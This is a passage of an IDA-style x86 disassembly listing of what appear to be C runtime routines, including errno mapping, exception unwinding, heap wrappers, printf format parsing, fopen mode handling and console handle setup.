		mov	dword ptr [eax], 0Ch
		jmp	loc_408452
; ---------------------------------------------------------------------------


loc_4083D2:				; CODE XREF: sub_408300+Bj
					; sub_408300+2Ej ...
		call	sub_408460
		mov	dword ptr [eax], 0Dh
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_4083DF:				; CODE XREF: sub_408300+2Ej
					; sub_408300+63j ...
		call	sub_408460
		mov	dword ptr [eax], 0Bh
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_4083EC:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 11h
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_4083F9:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 9
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_408406:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 0Ah
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_408413:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 8
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_408420:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 18h
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_40842D:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 1Ch
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_40843A:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 20h
		jmp	short loc_408452
; ---------------------------------------------------------------------------


loc_408447:				; CODE XREF: sub_408300+2Ej
					; sub_44A621+2Ej
					; DATA XREF: ...
		call	sub_408460
		mov	dword ptr [eax], 12h


loc_408452:				; CODE XREF: sub_408300+ADj
					; sub_408300+BDj ...
		pop	ebx
		retn
sub_408300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408460	proc near		; CODE XREF: sub_406E30+1Bp
					; sub_408260+80p ...
		call	sub_409150
		add	eax, 8
		retn
sub_408460	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408478	proc near		; DATA XREF: sub_4071B0+Ao
					; sub_4073C0+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	short loc_40850D
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4084A7:				; CODE XREF: sub_408478+8Cj
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40851D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_4084FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4084FB
		js	short loc_408506
		mov	edi, [ebx+8]
		push	ebx
		call	sub_408550
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4085A0
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_408649
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_4084FB:				; CODE XREF: sub_408478+3Cj
					; sub_408478+4Ej
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4084A7
; ---------------------------------------------------------------------------


loc_408506:				; CODE XREF: sub_408478+50j
		mov	eax, 0
		jmp	short loc_408522
; ---------------------------------------------------------------------------


loc_40850D:				; CODE XREF: sub_408478+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4085A0
		add	esp, 8
		pop	ebp


loc_40851D:				; CODE XREF: sub_408478+32j
		mov	eax, 1


loc_408522:				; CODE XREF: sub_408478+93j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408478	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4085A0
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408550	proc near		; CODE XREF: sub_408478+56p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_408568
		push	[ebp+arg_0]
		call	sub_40D4E0


loc_408568:				; DATA XREF: sub_408550+Bo
					; sub_44A871+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408550	endp


; =============== S U B	R O U T	I N E =======================================



sub_408570	proc near		; DATA XREF: sub_4085A0+Ao
					; DMN0:00408619o ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_408591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_408591:				; CODE XREF: sub_408570+10j
		retn
sub_408570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4085A0	proc near		; CODE XREF: sub_408478+63p
					; sub_408478+9Cp ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_408570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_4085BD:				; CODE XREF: sub_4085A0:loc_4085F8j
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4085FA
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_4085FA
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_4085F8
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_408649
		call	dword ptr [ebx+esi*4+8]


loc_4085F8:				; CODE XREF: sub_4085A0+44j
		jmp	short loc_4085BD
; ---------------------------------------------------------------------------


loc_4085FA:				; CODE XREF: sub_4085A0+2Aj
					; sub_4085A0+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4085A0	endp

; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_408570
		jnz	short locret_408632
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_408632
		mov	eax, 1

locret_408632:				; CODE XREF: DMN0:00408620j
					; DMN0:0040862Bj
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		jmp	short loc_408653

; =============== S U B	R O U T	I N E =======================================



sub_408649	proc near		; CODE XREF: sub_408478+74p
					; sub_4085A0+4Fp
		push	ebx
		push	ecx
		mov	ebx, offset dword_411200
		mov	ecx, [ebp+8]


loc_408653:				; CODE XREF: DMN0:00408647j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_408649	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408670	proc near		; CODE XREF: sub_407B60+36p
		push	0
		push	1000h
		push	0
		call	dword_411DB0
		mov	dword_4127F0, eax
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
sub_408670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB4
		mov	dword_4127F0, 0
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4086B0	proc near		; CODE XREF: sub_408260+71p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DB8
		retn
sub_4086B0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+8]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DBC
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4086F0	proc near		; CODE XREF: sub_4071B0+41p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC0
		retn
sub_4086F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebx
		push	esi
		mov	eax, [esp+0Ch]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC4
		mov	ebx, eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_408732
		xor	esi, esi
		jmp	short loc_408734
; ---------------------------------------------------------------------------


loc_408732:				; CODE XREF: DMN0:0040872Cj
		mov	esi, ebx


loc_408734:				; CODE XREF: DMN0:00408730j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+4]
		push	eax
		push	0
		mov	eax, dword_4127F0
		push	eax
		call	dword_411DC8
		test	eax, eax
		setnz	al
		and	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408760	proc near		; CODE XREF: sub_409090+1p
		mov	eax, off_411210
		push	eax
		call	dword_411CC8
		mov	eax, off_411214
		push	eax
		call	dword_411CC8
		mov	eax, off_411218
		push	eax
		call	dword_411CC8
		mov	eax, off_41121C
		push	eax
		call	dword_411CC8
		retn
sub_408760	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4087A0	proc near		; CODE XREF: DMN0:004090F0p
		push	ebx
		mov	ebx, 4


loc_4087A6:				; CODE XREF: sub_4087A0+2Aj
		mov	eax, off_411210[ebx*4]
		test	eax, eax
		jz	short loc_4087C6
		push	eax
		call	dword_411DCC
		mov	eax, off_411210[ebx*4]
		push	eax
		call	sub_4071B0
		pop	ecx


loc_4087C6:				; CODE XREF: sub_4087A0+Fj
		inc	ebx
		cmp	ebx, 9
		jl	short loc_4087A6
		mov	eax, off_411210
		push	eax
		call	dword_411DCC
		mov	eax, off_411214
		push	eax
		call	dword_411DCC
		mov	eax, off_411218
		push	eax
		call	dword_411DCC
		mov	eax, off_41121C
		push	eax
		call	dword_411DCC
		pop	ebx
		retn
sub_4087A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408800	proc near		; CODE XREF: sub_4071B0+4Bp
					; sub_4073C0+28p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		mov	ebx, [ebp+arg_0]
		cmp	off_411210[ebx*4], 0
		jnz	short loc_408865
		push	18h
		call	sub_408260
		pop	ecx
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_40882B
		push	1
		call	sub_409250
		pop	ecx


loc_40882B:				; CODE XREF: sub_408800+21j
		push	3
		call	sub_408800
		pop	ecx
		cmp	off_411210[ebx*4], 0
		jnz	short loc_408853
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_411CC8
		mov	eax, [ebp+var_4]
		mov	off_411210[ebx*4], eax
		jmp	short loc_40885D
; ---------------------------------------------------------------------------


loc_408853:				; CODE XREF: sub_408800+3Bj
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4071B0
		pop	ecx


loc_40885D:				; CODE XREF: sub_408800+51j
		push	3
		call	sub_408880
		pop	ecx


loc_408865:				; CODE XREF: sub_408800+12j
		mov	eax, off_411210[ebx*4]
		push	eax
		call	dword_411CCC
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408880	proc near		; CODE XREF: sub_40721A+2p
					; sub_40741B+2p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, off_411210[eax*4]
		push	eax
		call	dword_411CD0
		retn
sub_408880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4088A0	proc near		; CODE XREF: sub_407280+3Dp
					; sub_407320+27p ...

var_84		= byte ptr -84h
var_50		= dword	ptr -50h
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= byte ptr -6
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_48], 0
		mov	[ebp+var_44], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_38], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_34], eax
		mov	[ebp+var_10], 0


loc_4088D0:				; CODE XREF: sub_4088A0+A4j
					; sub_4088A0+264j
		mov	[ebp+var_4A], 0
		lea	eax, [ebp+var_48]
		push	eax
		push	7FFFFFFFh
		push	ebx
		lea	eax, [ebp+var_4A]
		push	eax
		call	sub_409A10
		add	esp, 10h
		mov	esi, eax
		test	eax, eax
		jg	short loc_4088FD
		cmp	byte ptr [ebx],	0
		setnz	al
		and	eax, 1
		mov	esi, eax


loc_4088FD:				; CODE XREF: sub_4088A0+50j
		cmp	[ebp+var_4A], 25h
		jnz	short loc_40890C
		lea	eax, [esi-1]
		mov	[ebp+var_50], eax
		jmp	short loc_40890F
; ---------------------------------------------------------------------------


loc_40890C:				; CODE XREF: sub_4088A0+62j
		mov	[ebp+var_50], esi


loc_40890F:				; CODE XREF: sub_4088A0+6Aj
		mov	eax, [ebp+var_50]
		mov	edi, eax
		test	eax, eax
		jle	short loc_408936
		push	edi
		push	ebx
		mov	eax, [ebp+var_34]
		push	eax
		call	[ebp+var_38]
		add	esp, 0Ch
		mov	[ebp+var_34], eax
		test	eax, eax
		jnz	short loc_408933
		or	eax, 0FFFFFFFFh
		jmp	loc_408B0D
; ---------------------------------------------------------------------------


loc_408933:				; CODE XREF: sub_4088A0+89j
		add	[ebp+var_10], edi


loc_408936:				; CODE XREF: sub_4088A0+76j
		add	ebx, esi
		cmp	[ebp+var_4A], 25h
		jz	short loc_40894E
		cmp	[ebp+var_4A], 0
		jnz	short loc_4088D0
		mov	eax, [ebp+var_10]
		jmp	loc_408B0D
; ---------------------------------------------------------------------------


loc_40894E:				; CODE XREF: sub_4088A0+9Dj
		mov	[ebp+var_18], 0
		mov	[ebp+var_1C], 0
		mov	[ebp+var_20], 0
		mov	[ebp+var_24], 0
		mov	[ebp+var_28], 0
		mov	[ebp+var_2C], 0
		mov	[ebp+var_8], 0
		jmp	short loc_408999
; ---------------------------------------------------------------------------


loc_408980:				; CODE XREF: sub_4088A0+10Ej
		movzx	eax, [ebp+var_8]
		mov	edx, offset dword_40FAF0
		mov	ecx, esi
		sub	ecx, edx
		or	eax, dword_40FAF8[ecx*4]
		mov	[ebp+var_8], ax
		inc	ebx


loc_408999:				; CODE XREF: sub_4088A0+DEj
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset dword_40FAF0
		call	sub_408F40
		add	esp, 8
		mov	esi, eax
		test	eax, eax
		jnz	short loc_408980
		cmp	byte ptr [ebx],	2Ah
		jnz	short loc_4089D8
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_4089D5
		mov	eax, [ebp+var_C]
		neg	eax
		mov	[ebp+var_C], eax
		or	[ebp+var_8], 4


loc_4089D5:				; CODE XREF: sub_4088A0+126j
		inc	ebx
		jmp	short loc_408A0E
; ---------------------------------------------------------------------------


loc_4089D8:				; CODE XREF: sub_4088A0+113j
		mov	[ebp+var_C], 0
		jmp	short loc_4089FD
; ---------------------------------------------------------------------------


loc_4089E1:				; CODE XREF: sub_4088A0+16Cj
		cmp	[ebp+var_C], 7FFFFFFFh
		jge	short loc_4089FC
		mov	eax, [ebp+var_C]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_C], eax


loc_4089FC:				; CODE XREF: sub_4088A0+148j
		inc	ebx


loc_4089FD:				; CODE XREF: sub_4088A0+13Fj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_4089E1


loc_408A0E:				; CODE XREF: sub_4088A0+136j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_408A19
		or	[ebp+var_14], 0FFFFFFFFh
		jmp	short loc_408A69
; ---------------------------------------------------------------------------


loc_408A19:				; CODE XREF: sub_4088A0+171j
		inc	ebx
		mov	eax, ebx
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_408A33
		mov	eax, [ebp+arg_C]
		add	eax, 4
		mov	[ebp+arg_C], eax
		mov	eax, [eax-4]
		mov	[ebp+var_14], eax
		inc	ebx
		jmp	short loc_408A69
; ---------------------------------------------------------------------------


loc_408A33:				; CODE XREF: sub_4088A0+17Fj
		mov	[ebp+var_14], 0
		jmp	short loc_408A58
; ---------------------------------------------------------------------------


loc_408A3C:				; CODE XREF: sub_4088A0+1C7j
		cmp	[ebp+var_14], 7FFFFFFFh
		jge	short loc_408A57
		mov	eax, [ebp+var_14]
		lea	eax, [eax+eax*4]
		add	eax, eax
		movzx	edx, byte ptr [ebx]
		lea	eax, [edx+eax-30h]
		mov	[ebp+var_14], eax


loc_408A57:				; CODE XREF: sub_4088A0+1A3j
		inc	ebx


loc_408A58:				; CODE XREF: sub_4088A0+19Aj
		movzx	eax, byte ptr [ebx]
		mov	edx, off_411898
		test	word ptr [edx+eax*2], 1
		jnz	short loc_408A3C


loc_408A69:				; CODE XREF: sub_4088A0+177j
					; sub_4088A0+191j
		movzx	eax, byte ptr [ebx]
		push	eax
		push	offset aHjltzl	; "hjltzL"
		call	sub_408F40
		add	esp, 8
		test	eax, eax
		jz	short loc_408A86
		mov	eax, ebx
		inc	ebx
		movzx	edi, byte ptr [eax]
		jmp	short loc_408A88
; ---------------------------------------------------------------------------


loc_408A86:				; CODE XREF: sub_4088A0+1DCj
		xor	edi, edi


loc_408A88:				; CODE XREF: sub_4088A0+1E4j
		mov	eax, edi
		mov	[ebp+var_6], al
		cmp	al, 68h
		jnz	short loc_408A9D
		cmp	byte ptr [ebx],	68h
		jnz	short loc_408A9D
		mov	[ebp+var_6], 62h
		inc	ebx
		jmp	short loc_408ACD
; ---------------------------------------------------------------------------


loc_408A9D:				; CODE XREF: sub_4088A0+1EFj
					; sub_4088A0+1F4j
		cmp	[ebp+var_6], 6Ch
		jnz	short loc_408AAF
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_408AAF
		mov	[ebp+var_6], 71h
		inc	ebx
		jmp	short loc_408ACD
; ---------------------------------------------------------------------------


loc_408AAF:				; CODE XREF: sub_4088A0+201j
					; sub_4088A0+206j
		cmp	[ebp+var_6], 0
		jnz	short loc_408ACD
		cmp	byte ptr [ebx],	49h
		jnz	short loc_408ACD
		cmp	byte ptr [ebx+1], 36h
		jnz	short loc_408ACD
		cmp	byte ptr [ebx+2], 34h
		jnz	short loc_408ACD
		mov	[ebp+var_6], 71h
		add	ebx, 3


loc_408ACD:				; CODE XREF: sub_4088A0+1FBj
					; sub_4088A0+20Dj ...
		lea	eax, [ebp+var_84]
		push	eax
		mov	eax, ebx
		inc	ebx
		movzx	eax, byte ptr [eax]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_409CF0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408B0A
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40A430
		add	esp, 8
		test	eax, eax
		jge	loc_4088D0


loc_408B0A:				; CODE XREF: sub_4088A0+24Dj
		or	eax, 0FFFFFFFFh


loc_408B0D:				; CODE XREF: sub_4088A0+8Ej
					; sub_4088A0+A9j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4088A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408B20	proc near		; CODE XREF: sub_407320+6p
		cmp	dword_411234, 0
		jz	short loc_408B2F
		mov	eax, dword_411234
		retn
; ---------------------------------------------------------------------------


loc_408B2F:				; CODE XREF: sub_408B20+7j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConout	; "CONOUT$"
		call	dword_411DD0
		retn
sub_408B20	endp

; ---------------------------------------------------------------------------
		align 10h
		cmp	dword_411238, 0
		jz	short loc_408B5F
		mov	eax, dword_411238
		retn
; ---------------------------------------------------------------------------


loc_408B5F:				; CODE XREF: DMN0:00408B57j
		push	0
		push	0
		push	3
		push	0
		push	3
		push	0C0000000h
		push	offset aConin	; "CONIN$"
		call	dword_411DD0
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408B80	proc near		; CODE XREF: sub_4073C0+35p
		push	ebx
		push	esi
		xor	esi, esi
		xor	ebx, ebx


loc_408B86:				; CODE XREF: sub_408B80+4Ej
		cmp	off_411370[ebx*4], 0
		jnz	short loc_408BAC
		push	4Ch
		call	sub_408260
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_408BD0
		mov	off_411370[ebx*4], esi
		mov	word ptr [esi],	80h
		jmp	short loc_408BD0
; ---------------------------------------------------------------------------


loc_408BAC:				; CODE XREF: sub_408B80+Ej
		mov	eax, off_411370[ebx*4]
		cmp	word ptr [eax],	0
		jnz	short loc_408BC7
		mov	esi, off_411370[ebx*4]
		mov	word ptr [esi],	0FF7Fh
		jmp	short loc_408BD0
; ---------------------------------------------------------------------------


loc_408BC7:				; CODE XREF: sub_408B80+37j
		inc	ebx
		cmp	ebx, 100h
		jb	short loc_408B86


loc_408BD0:				; CODE XREF: sub_408B80+1Cj
					; sub_408B80+2Aj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_408B80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BE0	proc near		; CODE XREF: sub_4073C0+45p

var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		jnz	short loc_408BF7
		xor	eax, eax
		jmp	loc_408D1B
; ---------------------------------------------------------------------------


loc_408BF7:				; CODE XREF: sub_408BE0+Ej
		mov	ax, [ebx]
		and	ax, 80h
		mov	[ebp+var_2], ax
		mov	edi, ebx
		mov	esi, offset dword_40FB28
		mov	ecx, 13h
		rep movsd
		lea	eax, [ebx+48h]
		mov	[ebx+8], eax
		lea	eax, [ebx+48h]
		mov	[ebx+10h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+14h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+2Ch], eax
		lea	eax, [ebx+48h]
		mov	[ebx+18h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+30h], eax
		lea	eax, [ebx+48h]
		mov	[ebx+1Ch], eax
		lea	eax, [ebx+28h]
		mov	[ebx+20h], eax
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	72h
		jnz	short loc_408C51
		mov	[ebp+var_8], 1
		jmp	short loc_408C78
; ---------------------------------------------------------------------------


loc_408C51:				; CODE XREF: sub_408BE0+66j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	77h
		jnz	short loc_408C62
		mov	[ebp+var_8], 1Ah
		jmp	short loc_408C75
; ---------------------------------------------------------------------------


loc_408C62:				; CODE XREF: sub_408BE0+77j
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	61h
		setnz	al
		and	eax, 1
		dec	eax
		and	eax, 16h
		mov	[ebp+var_8], eax


loc_408C75:				; CODE XREF: sub_408BE0+80j
		mov	eax, [ebp+var_8]


loc_408C78:				; CODE XREF: sub_408BE0+6Fj
		movzx	eax, [ebp+var_2]
		or	eax, [ebp+var_8]
		mov	[ebx], ax
		test	word ptr [ebx],	3
		jnz	short loc_408CBB
		push	ebx
		call	sub_407620
		pop	ecx
		xor	eax, eax
		jmp	loc_408D1B
; ---------------------------------------------------------------------------


loc_408C97:				; CODE XREF: sub_408BE0+E5j
					; sub_408BE0+EDj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	62h
		jnz	short loc_408CAC
		test	word ptr [ebx],	20h
		jnz	short loc_408CCF
		or	word ptr [ebx],	20h
		jmp	short loc_408CBB
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_408BE0+BDj
		movzx	eax, word ptr [ebx]
		and	eax, 3
		cmp	eax, 3
		jz	short loc_408CCF
		or	word ptr [ebx],	3


loc_408CBB:				; CODE XREF: sub_408BE0+A7j
					; sub_408BE0+CAj
		mov	eax, [ebp+arg_4]
		inc	eax
		mov	[ebp+arg_4], eax
		cmp	byte ptr [eax],	62h
		jz	short loc_408C97
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	2Bh
		jz	short loc_408C97


loc_408CCF:				; CODE XREF: sub_408BE0+C4j
					; sub_408BE0+D5j
		cmp	[ebp+arg_0], 0
		jz	short loc_408CFD
		mov	eax, [ebp+arg_4]
		push	eax
		movzx	eax, word ptr [ebx]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_40A6A0
		add	esp, 0Ch
		mov	[ebx+4], eax
		cmp	dword ptr [ebx+4], 0
		jge	short loc_408D14
		push	ebx
		call	sub_407620
		pop	ecx
		xor	eax, eax
		jmp	short loc_408D1B
; ---------------------------------------------------------------------------


loc_408CFD:				; CODE XREF: sub_408BE0+F3j
		cmp	[ebp+arg_C], 0
		jge	short loc_408D0E
		push	ebx
		call	sub_407620
		pop	ecx
		xor	eax, eax
		jmp	short loc_408D1B
; ---------------------------------------------------------------------------


loc_408D0E:				; CODE XREF: sub_408BE0+121j
		mov	eax, [ebp+arg_C]
		mov	[ebx+4], eax


loc_408D14:				; CODE XREF: sub_408BE0+110j
		call	sub_4074C0
		mov	eax, ebx


loc_408D1B:				; CODE XREF: sub_408BE0+12j
					; sub_408BE0+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_408BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408D30	proc near		; CODE XREF: sub_4074C0+4Dp

arg_0		= dword	ptr  4

		mov	eax, dword_4111A4
		cmp	dword_4111A0, eax
		ja	short loc_408D44
		call	sub_40A710
		jmp	short locret_408D5D
; ---------------------------------------------------------------------------


loc_408D44:				; CODE XREF: sub_408D30+Bj
		mov	eax, dword_4111A4
		lea	edx, [eax+1]
		mov	dword_4111A4, edx
		mov	edx, [esp+arg_0]
		mov	dword_411060[eax*4], edx

locret_408D5D:				; CODE XREF: sub_408D30+12j
		retn
sub_408D30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D60	proc near		; CODE XREF: sub_407540+8p
					; sub_407820+D0p ...

